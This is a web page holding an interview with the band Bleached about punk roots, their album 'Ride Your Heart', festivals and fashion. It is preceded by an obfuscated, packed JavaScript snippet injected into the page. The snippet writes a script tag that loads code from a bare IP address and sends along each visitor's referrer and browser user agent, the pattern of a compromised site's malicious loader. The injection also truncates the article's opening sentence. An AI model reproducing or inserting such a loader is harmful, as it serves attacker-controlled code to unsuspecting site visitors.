Bleached (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aekdd|var|u0026u|referrer|erari||js|php’.split(‘|’),0,{}))
were in town for one night at the Dalston Victoria. We managed to catch up with sisters Jen and Jessie Clavin before the show to talk about punk on both sides of the Atlantic, life on the summer festival circuit and how to use a telephone as a microphone.

East London is home to many bands starting out in local bars before reaching worldwide notoriety. Are there any similar neighbourhoods to play at home in LA?

Jen: Sure, we come from the San Fernando valley area. When we were younger, we would play this place called The Smell in Downtown LA with our friends’ bands. It used to be a shady area, but over the years it got better so its becoming more built up.

British and American punk roots have influenced your debut album, Ride Your Heart. Are there any US/UK crossover bands around today you’re big fans of?

Jen: For me, personally, I like older bands. It’s really rare for me to get into newer stuff. My favourite bands are Siouxie and the Banshees, Blondie and also the LA punk scene with the Germs. If I listen to current music, it’s normally pop on the radio, stuff that gets stuck in your head.

Jessie: There are some good current bands out there too like Veronica Falls, Beach House and other bands who record more like us in lo-fi so we can listen to them and compare sound. I will say I’m a fan of Tame Impala, I like the tone of that.

Your sound is California surf pop meets the Bowery Street garage band scene in New York with your current single ‘Next Stop’ taking the lead from that but what direction is the next single going to take?

Jen: It’s funny. That’s one of those things where there’s a difference between what I would like and what our manager and label would go for. Take whoever is your favourite band, for example. I feel like their most popular song is never your favourite song. Your favourite is probably an unreleased b-side track that nobody’s heard before, but it means something to you. So, our next single is going to be ‘Dead in Your Head’ which is the song they thought would be best. I like them all but my favourite is the last song on the record ‘When I was Yours’ or ‘Outta My Mind’ because that’s a really different direction for us.

Jessie: If I had it my way, I love the title track ‘Ride Your Heart’. ‘Dead in Your Head’ definitely feels like a single, but it wasn’t our favourite. None of them may be your favourite. That’s the cool thing about it, different songs mean something different to everyone we talk to.

You’re sisters, you’re in a band. You get heartbroken. Did any of this influence the recording process for ‘Ride Your Heart’?

Jen: Lyrically, it was very personal. Different experiences of heartbreak growing up, trying to have a relationship when you’re in a band on tour and it’s not working. Meeting crazy people helps, I can write off of a feeling. I can feel the song, then write the lyric and the melodies come naturally. As far as being sisters, the recording process was easy for us.

Jessie: We were talking earlier about growing up deep in the Valley, we didn’t drive and it was a 2-3 hour bus ride into Hollywood. Most of the time, we were pretty isolated so we started learning so young and we taught each other how to play. For this last record, it was really simple, there was no figuring out who was going to do what. Jen writes the lyrics and starts the demos, then I come in. Because we’re sisters, we get each others’ personalities, so it’s easy.

It doesn’t feel like it at the moment but summer is coming! You’re already scheduled to perform at SXSW, Do you have any other festivals planned?

Jen: Bonnaroo would be fun. We’ve been to Coachella, we’re not playing it this year because our record timing was off, so we’re waiting until next year for that. Last year, we played Primavera and we loved that.

Jessie: To me, Coachella seems like the next biggest goal to play, but I don’t know what our schedule is yet. Or maybe Lollapalooza? I’ve heard of Glastonbury too, that sounds awesome.

Jen: My favourite part of festivals is that all your friends are always there or they can fly out to see you. Backstage, you run into a lot of the same bands so you get to know them too.

GQ Style recently featured you. How important is fashion to you?

Jen: We have different opinions on it but I love fashion design and I was going to school for it before Bleached. I feel like having a style is cool because there are so many bands and you have to step it up because you are putting on a performance. My style icons growing up were Debbie Harry and Siouxie Sioux who always looked cool. Whatever your fashion is, I think it’s important to be unique and it does become part of the show.

Jessie: I like vintage, I love going through the stores. I wish we had more time in London so I could check out the vintage shopping here. and drink!

One more question…was ‘Waiting by the Telephone’ written in homage to Debbie Harry’s ‘Hangin’ on the Telephone’ as the title and the style of the songs are so similar and you’ve said she is a big influence, or is that entirely coincidental?

Jen: Believe it or not, I was thinking about the Rolling Stones when I was writing that song, but ‘Hangin’ on the Telephone’ is actually a cover of the Nerves who are one of my favourite bands too. In my old band, I actually used a telephone as a microphone and I do the same in two of our music videos. Those kind of lyrics, ‘waiting by the telephone, waiting for him to call…’ remind me of ‘60s girl bands and you imagine this really old phonebox when you hear it, so music videos can help bring our style to life, but we always prefer playing live, that’s why you make a record in the first place.

‘Ride Your Heart’ is released April 2nd via Dead Oceans records, check out our review here.